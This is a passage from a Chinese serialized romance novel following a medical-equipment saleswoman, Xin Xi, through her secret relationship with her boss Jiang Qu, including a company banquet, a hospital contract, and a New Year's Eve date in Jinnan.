辛熙只当听不出来的他的暗讽,对于张鑫这种人,她其实早有盘算,那就是得高高捧着。辛熙笑呵呵地装傻,“跟着鑫哥学习了这么久,多少也得耳濡目染出来一些了。对了,鑫哥,你之前不是给百睦做过类似的项目吗?客户还给公司发了表扬信。对吧?”
“我记得这个”,赵志远说来也很是骄傲,“后来百睦集团和我们签署了年度框架协议。”
张鑫看了眼一旁有些微醉的简运,笑说:“我看你是跟简运学的吧,你俩这么,形影不离的。”
他的眼神直接将二人捆绑在一起。简运可真是喝多了,被张鑫一说,立马乐呵呵地凑上去,也不顾及场合地想将她半搂着,“鑫哥,你懂我,嘿嘿。”
辛熙躲开一步,根本不敢去看姜渠的表情。
侯广兴有些惊讶,小心翼翼地看了眼旁边的姜渠,问:“你俩?”
辛熙连忙摆手,“不是,不是,他闹着玩呢。”
张鑫说:“简运啊,你看人姑娘害羞了,躲你呢。”
简运正欲开口,辛熙略有些急躁地脱口而出,“鑫哥,可别再开我俩玩笑了,我有男朋友了。”
53. 第 53 章
辛熙认为自己说这话的时候极其真诚,但这样的场合,人说的话就和喝的酒一样,说者真真假假,听者半信半疑。
赵志远打了圆场,就此放过了她,毕竟这么多高层在,谁真有那闲功夫听基层员工的八卦。
简运跟着辛熙离开,反复确认,“你刚说你有男朋友,是骗人的吧?我知道你不高兴他们总开我俩玩笑,但我也是没办法啊,嘴长在别人身上。”
“不是的,简运,我真的有男朋友了。”
简运不敢相信,“怎么会!明明你,那我,我俩......”
辛熙抬头看他,她从未认为简运真的喜欢自己,过往里那些友好的对待仅仅是出自双方本性里的善意,她并不太理解他为何会露出如此受伤的表情,于是拍了拍他的肩膀,微微笑着,“所以,以后可不能再乱拿我开玩笑了哦。”
“啊?”
“啊什么啊。”
“可,可怎么之前没听你说过?”
“你也没问过啊。”
“好吧”,简运耸耸肩,似乎还有些不甘心,走了又回来,抓着自己的头发,颇为苦恼,“辛熙,你,你什么时候......”
辛熙正要回答,手机滴滴两声传来讯息,简短的两个字:过来。
余光瞅见一道身影自门侧闪出,辛熙匆匆敷衍了几句,简运倒不依不饶起来,非要她讲清楚自己的恋情始末。这让好脾气的辛熙险些恼了,“简运,我没有向你解释的必要,我们只是普通同事。”
“谁说的?”简运语调一下子抬了起来,“他们都知道我,我俩......”
“你喝多了,等你清醒些,我们再聊,好么?”辛熙有些着急,她看着那道身影拐了个弯,她迫切地想要去找他。
“我不要。现在就聊。”
“简运!”辛熙头一次对他,冷了语调,“我还有点事,先走了。”
辛熙没料想简运会纠缠,就像她从未在那些酒桌上的玩笑话里听到过半分情意一样。
辛熙寻着姜渠离开的方向找过去,他只说了让她跟过去,没说具体的地方,她稍微耽搁了一会儿,就找不见人影了。这让她有些失落,她试图拨通姜渠的电话,但声音在刚被拨通时就被掐断。她听见电话铃音就在近处,便顺着声音找过去,然后在一间供给宾客休息的茶室里看见了两个人:何耀丹和姜渠。
两个人谈笑风生,辛熙本能地想躲开,她觉得自己的出现并不合时宜,更唯恐打扰了二人的兴致。深秋夜凉,她站的位置正是风口,辛熙环抱着双臂,在离开和等待之间犹豫不决。
可他俩怎么那么有话聊?辛熙有些叹气地想,不知道自己要等到猴年马月去了。可就这么走了又不甘心,她觉得自己今天是非常需要一次聊天的。
辛熙在寂寂夜色里,想起了高桥,虽然他意图不轨,但他当时给她看的照片却是实实在在的。何耀丹和姜渠......他俩......辛熙拍了下自己的额头,猛然清醒,这姜渠不会是看准了在职场恋爱中她和何耀丹都不敢伸张,于是乎脚踏两只船吧?
对于自己的猜想,辛熙带着负罪感在怀疑。
她小心翼翼地将头探出去,在她的位置只能看见何耀丹的表情,确确实实有几分柔情在。这让她不得不更加坚定了自己的猜测。她想了很多种行径的后果,都不能万全,但只一点,即便是万分之一的可能,她也不要和何耀丹这么被骗下去。
她要去撞破、然后不动声色地拆穿,这样才是最稳妥的,也是最有余地的。
思量再三,辛熙看了看自己这身裹紧的衬衫裙,果断解开了领前的两颗扣子,又将头发拨弄下来,装着几分醉意,推开了门。一声“姜渠”喊得娇柔劲儿足,待被听见后又装失误,道:“耀丹姐,你也在这儿啊。”
“辛熙?你找姜总有事?”何耀丹很明显听见了她的那声“姜渠”,目光带着奇异的审视在二人之间巡回。
辛熙晃了晃手机,又学姜渠的样子半眯着眼,一副高深莫测的样子,“不是,刚姜总叫我过来的。对吧?姜总,你找我有什么事呀?”
姜渠自以为他看懂了辛熙的意图,这个场景确实容易产生误会,于是他走向前,脱下了自己的外套罩在辛熙的身上,声音温柔,“怎么没穿外套就过来?”
这......辛熙认真地观察着何耀丹的表情,但出乎意料地,她并没有表现出吃惊抑或是她想象中那种发现自己被劈腿后的愤怒。她很平静,说了句“那你们聊”,就走了。
“她就这么走了?”辛熙难以置信。
“不然呢?”姜渠走回到沙发坐下,看她还傻愣着,叫她,“过来。”
辛熙打着自己的盘算,何耀丹不会那种会忍气吞声任由另一半脚踏两只船的人,她的表现只能说明她并不在意姜渠,那高桥的那些照片只有能说明,“那你和她......你之前追求过耀丹姐,但是被她拒了?”
“你这些乱七八糟的想法都是从哪里得来的?”姜渠莫名其妙,但她刚才的行为可以理解为吃醋了吧?虽然有些幼稚,但比起懦弱地往后退,他更想看到她张牙舞爪地走上前来。
辛熙没有心情回答,她觉得自己刚才的行为有点......蠢。
好吧,很蠢,很丢人。
辛熙捂着脸,“太尴尬了吧。那我刚才......她应该会猜到咱俩的关系吧?她那么聪明。”
“那也没办法,做都做了”,姜渠靠着沙发背,姿势慵懒,刚才等太久的不爽感在这一刻都散了,他早发现她来了。
辛熙有些懊恼地看向他,“那她知道了,其他人会不会也......”
“放心,她不会多说的。”
她要说的话早说了。
何耀丹知道的时间远在老久之前。那次,她请姜渠吃饭,她在饭桌上表明心意,姜渠没有回答。他当时心不在焉地,手机“嘟嘟嘟”声不断,有人的信息像连串的炮仗噼里啪啦地传来,他又气又好笑。
何耀丹聪慧又敏锐地懂了,神色黯淡下去,长嘘了一口气说:“姜总,我明白你的意思了。你放心,我不会因此影响工作的。”
姜渠这才放下手机,认真地说:“何工,你知道的,我很欣赏你,不然也不会花那么多心思把你从向总手下挖过来。行业国产化的影响持续加剧、数字化转型也势在必行、麦高要在中国立足,甚至继续保持高增长,具有非常大的挑战。我们必须得其他同业者追上来之前率先完成自我革新。当初我在司徒总办公室看到你的方案时就知道,你是最优的人选。”
何耀丹苦笑,被喜欢的人说欣赏你的才干,不就和那些表白时被拒时所收到的“好人卡”如出一辙,都是你各种好百般优,我千万句愧不敢当,但就是不喜欢你。
“那可以不可以问姜总,你在人生伴侣的选择上更看中哪些条件?”
姜渠笑了笑,“何工,有谈过恋爱吗?”
“当然。”
“我以为何工作为女性,对爱情会带有浪漫主义色彩。”
“我不相信无缘无故的爱。事实上,我的爱情观很现实,匹配的三观可以减少相处时的矛盾,对等的物质条件才能使关系牢固持久。”
姜渠举起杯敬她,他很看中何耀丹这一点,永远理性,“作为同事,我非常赞赏何工的理性。作为朋友,祝愿我们各得所愿。”
辛熙和姜渠在茶室里待了没一会儿,门外就响起了脚步声,一个同事声音响亮地问另一个,“看见姜总没?”
“没,是不是在哪儿醒酒呢。”
“再找找,可不能就这么放他走了。”
辛熙的心提了起来,站起身就要走,生怕晚了,面前的这道门就会被推开,然后她就会被无数的目光审判。
姜渠拉住她,“干嘛去?”
“他们都在找你,我可不能和你单独在这儿。”
姜渠揉着自己的太阳穴,他今晚是真的有些喝多了,“你在担心什么?”
辛熙两手一摊,此情此景,她的担心不言而喻,“我们说好对外保密的。”
“可我们并没有干什么见不得人的事,还是说,你有这意图?”
辛熙没有时间同他争辩,门外脚步声越来越近,她清楚地听到同事正在一间一间地开门找人。辛熙的心脏像擂鼓一样咚咚地跳。她也很想安抚自己,但无能为力。
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姜渠也听见了,他说:“你现在出去,应该能正好碰上”。
同事很快找到了他们这边,千钧一发之际,辛熙只听见啪嗒一声,姜渠关了灯,她立马做出反应,动作迅捷地反锁了门。
两个的视线瞬间陷入漆黑,只有耳朵尚能捕捉到外面的动静,一个人说:“怎么这间关着?”
另一个人答:“可能是酒店自留的休息间吧。”
在门外的同事走远的这个过程里,茶室内两个人慢慢适应了黑暗。辛熙这才发现姜渠不知道什么时候已经站在了她身边。
空气是凝滞的,只有分不清楚是谁的呼吸一张一弛、忽轻忽重。他们根本不能看清对方的五官,但却同时觉得对方此刻万分迷人。
应该会发生点什么?都已经发展到这个场景,天上地下恍若也只剩二人。视觉的削弱,增加了其他体感的敏锐。辛熙觉得,姜渠宽大于自己的体积完全可以把自己严丝合缝地包裹,她有些渴望这种吞没,毕竟,黑暗放大的还有她的胆量和欲望。
辛熙轻轻地喊了他一声,声音飘渺如天边的云朵,“姜......渠......”。
姜渠应答的声音是从鼻根深处发出来,“怎么了?”
“他们走了......”
“嗯......”
“那......是不是可以开灯了?”
“嗯......”但姜渠并没有动作,他反而走得更近了一些,压着嗓音,“我们是正常的恋爱关系,所以做点什么,不为过吧?”
辛熙觉得自己此刻浑身滚烫,尤其是脸,应该红得能掐出血来了。虽然两人已有过至亲至密的关系,但那都是在极为私人的地盘上。而此时的宴会厅里,还有百十来号人随时可能成为见证者,这种危险性带来精神刺激,毫不费力地增强了情绪反馈时产生的波动。
但等了一会儿,姜渠并没有再进一步,他隔着距离,叹了口气,“早知道,就不喝这么多,或者带上口腔喷雾了。”
大练兵回来后,开始了年度最后的疯狂冲刺。
何耀丹升了高级经理,她在销售大练兵里得了第一名。辛熙每次去公司都听到有人议论,说何耀丹要接老赵的班了,老赵真的要当北区的总监了,更有人猜测何耀丹会挤掉赵志远,直接跳升到北区总监的位置。
辛熙也有颗八卦的心思,但她没有时间。销售大练兵证明了她的能力,圣南的单子也让她在销售的位置上稳住了脚,这一年的最后两个月,辛熙几乎都待在了津南。
她和姜渠最近的一次见面,还是她在11月底回京北给赵志远汇报工作进展的时候。那段时间,卢湘和李元不知道什么原因闹了矛盾,心情不好,逮着辛熙大倒苦水。
辛熙无奈,安慰了好久。最后发现,女孩子在吐槽对象的时候,第一原则就是不能站在旁观者的角度去理智分析对错,而是要不分青红皂白,通通跟着一顿骂就行。
正巧李元又发来了安慰的一连串语音,辛熙佯装劝她,“不听,不听。语音再长,不如现身投降。嘘寒问暖,不如打笔巨款。”
“说得对”,卢湘拍手叫好。
电梯门在此时即将关闭,身后一双手伸过来帮她们挡了下电梯门,姜渠问:“不进吗?”
“进,进。”
两个人赶紧低着头走进电梯,后面又陆陆续续进来几个人,将二人堪堪挤在角落里。卢湘悄悄用手肘碰了碰辛熙,示意她看微信。
微信上,卢湘问:他怎么回来了?不是说去德国参加MEDICA了吗?
辛熙回了她一个迷蒙的表情。就说啊,这人不是昨天还在微信上告诉她要下周才回来吗?
卢湘又追来几个大哭表情:他刚听没听到咱俩的谈话啊?
辛熙:应该......没有吧,等电梯那么多人,咱俩声音也不大吧......
卢湘:但愿没有,我和李元的事,还不能被他知道。整个公司,我只告诉了你哦,你可得保密。
辛熙顿时倍感压力山大。还没来得及回卢湘,微信上头就又弹出新消息,姜渠:[转账]请收款。
辛熙的第一反应是:完蛋,他听见了。
54. 第 54 章
辛熙没有收姜渠的转账,当然也没有告诉卢湘,姜渠听到了她俩的谈话。事实上,卢湘和李元的恋爱关系,在辛熙发现之前,姜渠就已经知道了。
那次卢湘在楼梯间哭,就是李元担心影响二人工作提了分手。那天姜渠也发现了异样,会后单独约了李元。他并非要插手下属的私人生活,但他一直认为人的行为驱动是具有统一性的。一个对待感情不负责任的人,也很难让人相信他会对自己所属的公司及职业负责任。
这也是姜渠从不反对办公室恋情的原因,当然,前提是不影响工作。比起一个会为了工作舍弃亲密伴侣的人,他更愿意重用一个可以同时处理好公事私情的人。
时间很快走到了年末。
辛熙在津南市妇幼保健院和客户核对合同细则,虽然只是个几万块的备件,但这单能落在辛熙身上,她仍然格外开心,并卯足劲儿在干。
这家客户先前一直是张鑫在跟,但不知道什么原因,张鑫冷落了客户很长一段时间。是的,他冷落客户。辛熙第一次听到卢湘说起的时候,还在感叹,真不愧是销冠啊,都能对客户甩脸子了,这么一想,就觉得张鑫平日里对自己那些冷嘲热讽已经算是格外留情。
市妇幼的设备科老师打电话到客服中心报了故障,张鑫不闻不问,客户也不留情面,隔天就追了封投诉信到麦高。客服中心按照流程报给了赵志远。麦高对经理的考核里有一项投诉指标的限制,赵志远只能去给客户道歉,可想而知,被劈头盖脸一顿骂,赵志远无奈,这才叫了辛熙去处理。
辛熙开开心心地去捡漏,做销售后,不得不相信一些玄学存在,但在历经和市妇幼对接的完整的过程后,她对天上无故掉馅饼这事有了现实的体悟。
市妇幼为这一个备件同她前前后后反复拉扯了不下二十次。从生产批文批次,到海关报关单,物流记录等等缺一不可,仔细查验还不够,又提出半年的验收使用,验收合格后才能付款,而如果在验收期出现任何问题,都得重新换新,而新的,得自安装之日起又再重新算验收时间。
辛熙只得期待这批零备件的质量能够与产品说明书上的描写一样,经得起考验。
钱少事多的客户带来的那点利润确实不值得一个销冠多花精力。毕竟,在辛熙签回这个合同的这段时间里,张鑫已经拿回了一个年单价超过百万的多年期合同。
审计部门在审计合同条款时更像是直接拿着放大镜在挑刺,反复地打回重审。好在,最后一版赶在收官的尾巴上,过了审计盖了章。
辛熙将今年任务里的最后一份正本合同快递回了公司。明天就是元旦,她定了票,直接从津南回榆林。
林早在电话里问她元旦的安排,辛熙一边收拾行李一边同她闲聊。很显然,林早并不满意她的回答,大声抱怨:“你这恋爱谈得跟没谈一样啊,怎么每个节假日都是回家。姜渠不约你出去玩吗?”
是呀,他怎么不约我出去玩呢?辛熙想,有很多时候,她真的会忘了自己已经有个男朋友了。
“大概,他也忘了他有女朋友了吧”,辛熙苦笑着玩笑。
林早啧啧几声,替她不服气,“也是,毕竟人家海归精英、外企高管,日理万机的。指不定这会儿正在哪里指点江山呢。祖国的伟大复兴、百年大计、十四五规划,哪一样少得了他们啊。”
辛熙被林早的话逗乐,但她知道,林早的怨气是针对徐进。她问:“怎么,徐总因为要去给月亮安装太阳能而把他可爱的女朋友落在地球上了吗?”
“那倒没有。毕竟人徐总的女朋友分布在全球各地,无论从哪个地儿发射,他都能带走几个,凑一桌麻将。”
林早早已经看透他了,但她暂时离不开,她曾告诉辛熙,得等到她把心底的怨气和爱意都磨光了,她才干休。
“熙熙姐,我跟你说件事,你先不要告诉任何人”,林早神神秘秘,“春节后,我要出国了。”
“嗨!”辛熙松了口气,“去旅游吗?那很好哇,那我可得找你代购了”。
“代购没有问题,但不是去玩,是去留学。我已经给几所国外的学校递交了申请,不出意外的话,下个月就应该能拿到offer了。反正也不是什么名校,中介说基本上给钱就行。”
“怎么这么突然?中介靠谱吗?”辛熙在脑子里快速思考了下这件事情的可行性,“叔叔现在身体恢复得不错,有阿姨陪着,倒也不担心。二老守着小卖部,过日子肯定没问题。只是,你真的想好了吗?别一时冲动。如果真的想去留学,明儿我问问我姐,她留学的朋友多,咱认认真真选个好学校吧。钱不够的话,我借你”。
她真的很怕林早是因为跟徐进赌气才做的这个决定,不然一个从小就不爱读书的人,怎么会突然有了留学深造的想法?
“倒也不是为了去学什么知识,只是我看徐进身边那些留学回来的人各个尾巴都是翘着长的,我就想去看看国外的地面是不是没引力。至于钱么,你的钱,还是留着买车吧”,林早顿了顿,“徐进答应会帮我出全部的费用。”
“他么?”
“嗯。这么跟你说吧,熙熙姐,这段时间我其实也看明白了,徐进根本不可能跟我这样的人认真谈恋爱。既然如此,我为什么不好好利用这段关系,实现我自己的利益最大化”。
利用他,在反复地争吵磋磨掉剩余的好感之前。她希望自己能像小时候看过的电视剧里的女主角那样远走高飞,然后在某一天光鲜亮丽地回来。虽然那些剧里的独立女性清高自持,绝不以攀附男人的方式完成自己的蜕变,但她不想这样。她怕,怕自己到时候徒有一腔清高,却没女主角那番飞黄腾达的命。
她不想多吃苦,她吃的苦够多了。看上徐进的初衷,不就是图他能让自己少吃点现实的苦,没道理,越活越回去了。
辛熙并不能对林早的感情妄加评断,她觉得林早没错,但觉得悲哀,哀一些她年少时信奉过的东西。
“所以啊,熙熙姐,我觉得辛雅姐姐那句话说得很对,你就该好好利用姜渠。”
“利用他什么?”
“钱啊,利啊。你想要什么就让他给什么。他要给你买车,你就让他全款买了写你名字;他要给你转账,你就让他写清楚是自愿赠与。你想做销售,就让他把京北那些大医院都划给你负责,还有他手里的资源人脉统统介绍给你,给你升职、加薪。总之,让他的一切行为皆有利于你。”
“这样哦。可我能回报他什么呢?”
“你自己就是他最大的回报啊。”
辛熙停下手上的动作,似乎认真地思考了一下,然后才说:“可我认为,我自己比你刚才说的那些东西珍贵很多,所以
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我不想这样去交换。”
林早不理解,“那你和他谈恋爱,图什么?”
辛熙回答:“我给予的,就是我图的。”
林早没能完全理解辛熙的话,但她和徐进相处的这段时间学会了不过分干涉他人。通话的最后,她只说:“虽然我不应该因为自己恋爱不利,就唱衰你的,但姜渠和徐进毕竟是多年的铁哥儿们,老话说的,物以类聚,人以群分,我是不相信有人能万花丛中过片叶不沾身的。昨晚我听到徐进和姜渠打电话,他们元旦应该是要去美国。至于去干嘛,你可以问问他,看他怎么说。”
林早最后的话像上了发条的拨片,一直挠心,辛熙懂她话里的暗示,佟歆亚,姜渠的那位漂亮得让周围人都跟着失色的前女友就在美国,而他们,会不会见面?还是说就是专程为了见面?
辛熙打开微信,点开姜渠的头像,两个人确立恋爱关系时间尚短,聊天记录少得可怜。
最近的一条,是他问:在干吗?
她说:在忙。
他回:再忙也要记得吃饭。
她鬼迷心窍地回了一句:再忙也要记得谈恋爱。
明明是撩人的话,想去拨一拨平静的海面,却石沉大海,杳无回讯。
辛熙气呼呼地将手机丢到一边,下楼扔垃圾。津南的十二月末,气温在零度上下来回,她本可以第二天扔垃圾的,但她担心自己闲下来就会去琢磨姜渠去美国的动机,甚至,可能因此做出一些不理智的举动,例如找英姨侧面打听,或者去翻施琪和徐进的朋友圈,拼凑些蛛丝马迹。
辛熙将垃圾狠狠地扔进垃圾桶,恨不能将自己的多疑多思全都倒进去,她甚至在垃圾桶面前手舞足蹈,祈祷垃圾桶有什么魔力收走她满心的烦闷。
“哈!哈!哈!”她顿足捶胸,每一个字都脆生生地往地上甩,“我可真好,没有烦恼,没有!烦恼!”
这是她惯用的自我开解方式,她一向得心应手,用具体的言行由外向内强行改变心情,但这次似乎效果欠佳。就在她想要仰天长叹,高举双手的时候,她看见了罪魁祸首,就站在她身后不远处。
姜渠拖着行李箱,一身的风尘仆仆,辛熙在那一刻,得到了一种“被爱着”的感动。
她雀跃着,“啊~怎么突然来了?来出差吗?”不怪辛熙这样怀疑,他这一身商务正装,很难不让人带入工作角色,辛熙甚至下意识地想去帮他拉行李箱,毕竟下属嘛,职场的礼仪她可不缺。
姜渠截住了她伸向拉杆的手,“来谈恋爱”。
辛熙感觉自己全身的汗毛都在招摇,像春日大地刚露头的小禾苗,被轻柔的风抚过,爱意翻腾,“你不是明天要去......”
姜渠没有听清她的问话,两个人在经过一楼前台时被打断,老板娘停下刷短剧的动作,同他打了个招呼,像是熟悉的老客一样,“来啦”。
姜渠微笑着点头回应,待走上楼梯才又去问辛熙,“你刚想说什么?”
“哦,你怎么不早告诉我,我定了明儿一早的高铁回榆林”,但她可以改签或退票的,如果男朋友在此时发出邀约的话。相信家里的爷爷奶奶爸爸妈妈都会非常支持她的爽约,而农场里的老母鸡更是会欢喜鼓舞。
可惜,她的男朋友只是淡淡地表示知道,“抱歉,我明儿没有时间送你去车站了。”
55. 第 55 章
“不高兴了?”
辛熙在楼道灯暗下来的时候悄悄撇嘴嘟囔,“知道还问,问了,我能好意思说我不高兴吗?我不能。”
“你说什么?”姜渠侧低下头,几乎同她贴面。
辛熙在和他相处了几次后早就发现,这个人对自己有莫名的吸引力,一旦靠近,她就会忍不住想要亲亲搂搂抱抱,这种由生理机制驱动产生的本能欲望,让她几度怀疑自己脱离了社会伦理的辖制。
这就太可怕了。
辛熙站在房门前,想起两个人上一次在这个家里的翻天云雨,以及事后的不欢而散,心情复杂,一掏兜,完蛋,“我忘带钥匙了 ”,再一掏,哭死,“手机也没带出来”。
姜渠了然,难怪刚打电话没人接,“前台那儿应该有备用”。
“但我搬来之后换过锁芯了。”
“OK”,姜渠抬手看了下时间,“这个点,应该能找到开锁师傅。”
“算了吧”,辛熙阻止了姜渠打电话的动作,小声说:“对门的覃姐怀孕八个月了还天天孕反难受,别好不容易睡着了又让我们给吵醒。”
姜渠对此并无异议,解决这个问题很容易,但他想把主动权交给女生。辛熙在忽明忽暗的灯光下,声音极轻地问他:“那,去酒店?”
姜渠在酒店前台办理入住的时候,辛熙躲开好远,两个适龄的男女在深夜共同入住酒店,很难不让人遐想连篇。好在工作人员职业素养高,也多半见怪不怪,只她自己一个人在内心底完成了一场羞耻大戏。
“走吧”,姜渠朝她伸出手,有些故意地抬高音量。
辛熙将自己的脑袋缩进了羽绒服里,只露出双又明又圆的眼睛,脚下趿拉着拖鞋,双腿快速地交换着奔过去,“走,走,快走。”
进电梯后,姜渠将她的羽绒服拉链拉下来,叹道:“你再这样,别人会以为我俩在偷情。”
“是么?”辛熙伸长脖子,缓了缓,嘿嘿一笑,嘴硬道:“我刚就是觉得有点冷。”
酒店房间里,辛熙独自坐在沙发上百无聊赖,没有手机可玩的最大影响是她找不到任何方式来掩饰自己的紧张。或许她应该让餐厅送瓶酒来,酒精可以壮胆,可这样,她的动机就昭显得不纯,好像她在上赶着要发生些什么,辛熙赶紧收回了拨电话的手。
酒店的空调很足,辛熙有些发热,她想脱了羽绒外套,却惊讶地发现,自己根本没有穿内衣!她下楼的时候只匆匆在家居服外面套了件宽大的羽绒服,这个失误有些丢人,天知道她现在多想逃跑。虽然两个人在进行爱意交流的过程中,它是多余的,可在这之前,它却是十分有必要的。辛熙赶紧又穿上了外套。
淋浴间的水声停了,姜渠的身影在磨砂玻璃门后若隐若现,像晨雾中挺立的松柏,然后门被推开,云雾退散,辛熙略过的目光瞧见了他发梢上的水珠,莹莹透亮,滑落进结实的胸膛。
辛熙赶紧别过眼,坐得愈发的端正,好似身正就不怕心思邪。
“你要洗吗?”姜渠问。
“我,我在家洗过了。”
姜渠似乎有轻轻地“嗯”了一声,但辛熙并不确定,她只能听见自己的心脏和脉搏跳动。身体里两个小人在吵架:又不是第一次了,到底在紧张什么啊,真是没用;可前几次都喝得晕乎乎地啊,这是她第一次这么清醒地面对这个男人。
辛熙觉得自己的五感都在此刻被增强,耳力捕捉到姜渠的脚步声从浴室出来,又去到茶几方向放下了手表等外物;鼻腔里,雪松和香根草混搭的气味弥散不消,让身体的所有毛孔都跟着放松下来;虽然她目不暇视,但余光还是瞧见了姜渠,他在看自己,又似乎只是在思考着什么。然后,他走向了自己,伸出手揉了揉她的头发,他的手掌宽大,让辛熙觉得自己的脑袋只是他手下的一颗球。
“你......一定很会打篮球吧?”她一紧张,就总会乱说话。
“为什么这么说?”
“嗯,就感觉。”
姜渠见她还裹着羽绒服,问,“你不热吗?”
“不热啊,我体寒,怕冷”,甚至为了这句话更可信,辛熙搓了搓手。
“那脸怎么这么烫?”他的手顺滑到了她的脸颊。声音靠近了,左耳的耳骨因为声波的震荡而颤抖,辛熙感觉到他周身的热气完全淹没了自己,一并被吸纳的还有自己刻意放轻的呼吸。
“你在紧张?”姜渠的唇停在她的唇瓣上,说话时,便是一下一下,似有似无地交触。
“没,没有啊”,可她的话毫无说服力,因为她此刻的双手将自己的衣领拧成了麻花。
姜渠拍了拍她的篮球脑袋,“好了,不逗你,我去换身衣服,咱们去跨年。”
辛熙说不清自己是松了口气还是落了个空,总之,她此刻五味杂陈。
他们先去看了跨年烟花秀,当缤纷绚烂的烟火划破夜空的时候,他们正巧经过了一对正在求婚的情侣。看热闹的人群在起哄,“答应他”“嫁给他”,是此刻唯一被听见的声音。
辛熙感动得哭了,但她赶紧拉着姜渠走开,姜渠问:“怎么不再看看女生有没有答应?”
“算了吧”,辛熙抹干眼泪,“这种高调的方式如果没有提前和女生打好招呼的话,指不定是惊喜还是惊吓呢。”
“可我看你挺感动的。”
“是感动呀。这种事儿,最感动的不就是男主角和观众了嘛。”
姜渠扬眉,粲然一笑。这时,天空中忽然炸开一朵金色的花蕾,彩色的星光仿佛银河坠落,爱拍照的人高举各种设备向前涌动,姜渠赶紧将她拉到身边。
辛熙抬头去看,姜渠似乎无瑕顾及美景,只一心想将她和人群隔开,她心里涌现出奇妙的感觉,于是乎踮起了脚,在他脸上蜻蜓点水的一吻。
她爱所有灿烂的东西——太阳、鲜花、烟火,和生命。
姜渠有些意外地回头,炫彩的光芒层层叠叠,在其身后形成光环。
他们在人间盛景之下,紧紧相拥。
他们沿着海河行走,经过摩天轮,跨过桥,对这座两个人都不算太熟的城市指指点点,然后他们去看了场午夜的电影,在小酒馆听歌喝酒,待到了凌晨三四点。
这一切美好得不像话,除了辛熙偶尔担心自己因为没穿bra而露出小尴尬。
等再回到酒店的时候,两个人已经累到不行,不管不顾地,直接合衣而睡。
早上七点,手机响起,辛熙迷迷糊糊地去接,“喂,你好。”
电话那头立马传来徐进的尖叫,“女生?你是谁?”
辛熙差点吓得魂儿丢了,匆匆将手机丢给了姜渠,暗暗发誓回去一定要将手机铃音换成个与众不同的,再不能发生第三次。
姜渠接起电话,很不客气地打断了来电者的询问,“别废话,你先去,晚点机场见。”
辛熙裹紧被子缩在一边,很显然,她并没有适应和一个男人同塌而卧,再一起乱糟糟地醒来,好在两个人身上的衣服完整,这让她自在多了。
姜渠放下手机,问:“你是要继续睡,还是和我一起走?”
“嗯?”
“我九点的飞机,现在得走了。你的高铁票是几点?”<
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“10点半。”
“那也差不多,我们一起走?”姜渠已经下床穿好了衣服,“昨晚我联系好了开锁师傅,等你回去,他也差不多能到。”
“好。”
两个人在酒店门口分别,然后各自上了车,车子即将驶向两个相反的方向。辛熙忽然叫停了车,她匆匆下来,调转方向去追姜渠。
姜渠看见了,打开车门下来,问她,“怎么了?”
“我就是想问,你这次要飞哪里?”辛熙有些急切,她怕自己的勇气稍纵即逝。姜渠昨晚的行为在她的角度看来,就是在践行之前承诺的,补齐恋爱前奏的过程。牵手压马路、看电影、吃美食、谈天说地,按部就班地加深了解。她想这样去理解,她希望自己的理解是正确的。既然姜渠走了这几步,她总也得迈迈腿吧,所以,作为女朋友,得问一句他的行踪吧?
姜渠有些意外,他帮她拢了拢衣襟,以免灌入凉风,“别冷着。我和徐进一起去美国参加那边的同学聚会,节后应该就能回。”
“这样啊~那......”你前女友会去吗?她很想问。但上任不久的女朋友,着急追问前任的事情,一点儿都不大气。
“嗯?”
“那你一路顺风啊。”
国航的商务舱里,徐进一脸坏笑地等着姜渠落座,“还不老实交代,昨晚的美人在侧是谁?”
“你可闭嘴吧”,姜渠拿出眼罩一戴,开始补觉。
“你不说我也知道。不是说去补充能量,到了那边好战斗吗?她就是你的加油站?”
姜渠侧了个身,拒绝回答。
徐进也不恼,拿出手机偷拍了个姜渠的睡颜照发朋友圈:[可把咱姜总昨晚累着了,一上飞机就睡],然后配了个坏笑的挑眉表情。
辛熙在刷到这条朋友圈的时候,已经回到了榆林的家。起初,她并没有觉得不妥,便随意的点了个赞,然后她看到施琪在下面回了个疑问的表情[昨儿没加班啊?]
徐进回复施琪:女人的温柔乡,男人的加油站。
施琪在半小时后回了一个字:滚。
辛熙的脸蓦地红了,想再撤回点赞,已经有了此地无银三百两的嫌疑。
辛爷爷和辛爸爸正在棋盘对弈,辛爸爸闹着,非说辛爷爷趁他添茶的功夫动了棋子,老头子横眉一凛,“是不是输不起?你的棋艺还是老子教的,对付你,用得着老子作弊吗?”
辛爸爸不服气,眼珠一转,叫旁边玩手机的辛熙主持公道,“妹妹,你来说。老头子刚刚是不是动了下?”
辛熙一脸无辜,“我可什么都没看着啊。”
辛爸爸知道她就算看到了也不会说,就又问她,“看什么呢这么专注?”
“就随便翻翻啊。爸爸,你可以别拿我转移注意力了。”
辛爷爷一听,提起拐杖敲到辛爸的脚边,“赢不了棋,就转移话题。你管孩子玩什么?今晚的碗,就是你洗。”
因为家里一向是奶奶和妈妈做饭,洗碗的事情自然就落给了爷爷和爸爸。爷俩经常因为谁洗碗而产生各种各样的PK对决,体育赛事的得分、下一则电视广告的演员是男是女、辛雅走出房间是先踏的左脚还是右脚、辛熙回家是先叫的爷爷还是奶奶......都曾经是二人的比赛。
辛熙已经习惯了。小时候,她和姐姐,经常可以通过帮他们洗碗而获得额外的零花钱。虽然辛爷爷如今腿脚稍有不便,但他一生要强,这种方式反而更加高频次地延续下来,以避开那句“老了不中用了”的丧气话。
辛熙笑说:“今晚的碗,我洗。”
56. 第 56 章
收假回来那天,辛雅在机场接到了辛熙,觉得惊奇,“怎么坐飞机了?不坐你那个摇摇车。”
辛雅一向无法理解辛熙对绿皮火车的专情,轰隆隆地,嘈杂、低速,且浪费时间,她从自己开始工作赚钱以来,就再没有去坐过。这种交通方式唯一的好处是省钱,而她完全可以用这点时间赚到成倍的钱,并享受到更加便利、高效、精致的服务。
但辛熙喜欢火车,恰恰是因为它慢。火车载着她离开家乡和亲人的过程是缓慢的,熟悉的一切慢慢退后,这似乎可以给她足够的时间做足心理准备,来适应别离。因为她每次离开家,都会产生退缩的念头:要不然就不去了吧?等毕业了一定要回来工作啊。干完今年就辞职了吧?榆林可比京北好玩多了。即便她已经在京北待了六年,但她仍然不觉得自己属于那里。
不过,现在似乎有些不一样了。
她在告别亲人的时候甚至有些迫不及待,这种心态的转变让她有些愧疚感,但这份愧疚感很快就在飞机的颠簸里倒空了。
她说:“我现在是销售。医院客户都不放假,我们哪里敢真的休息。喏,我这几天的手机都快被打爆了。”
“只是这样?”辛雅显然不信。
辛熙不自然地抿嘴,岔开话题,问她:“姐,你今天怎么刚好在机场啊?”
辛雅有些烦躁,“刚送走了余博文的爸妈。”
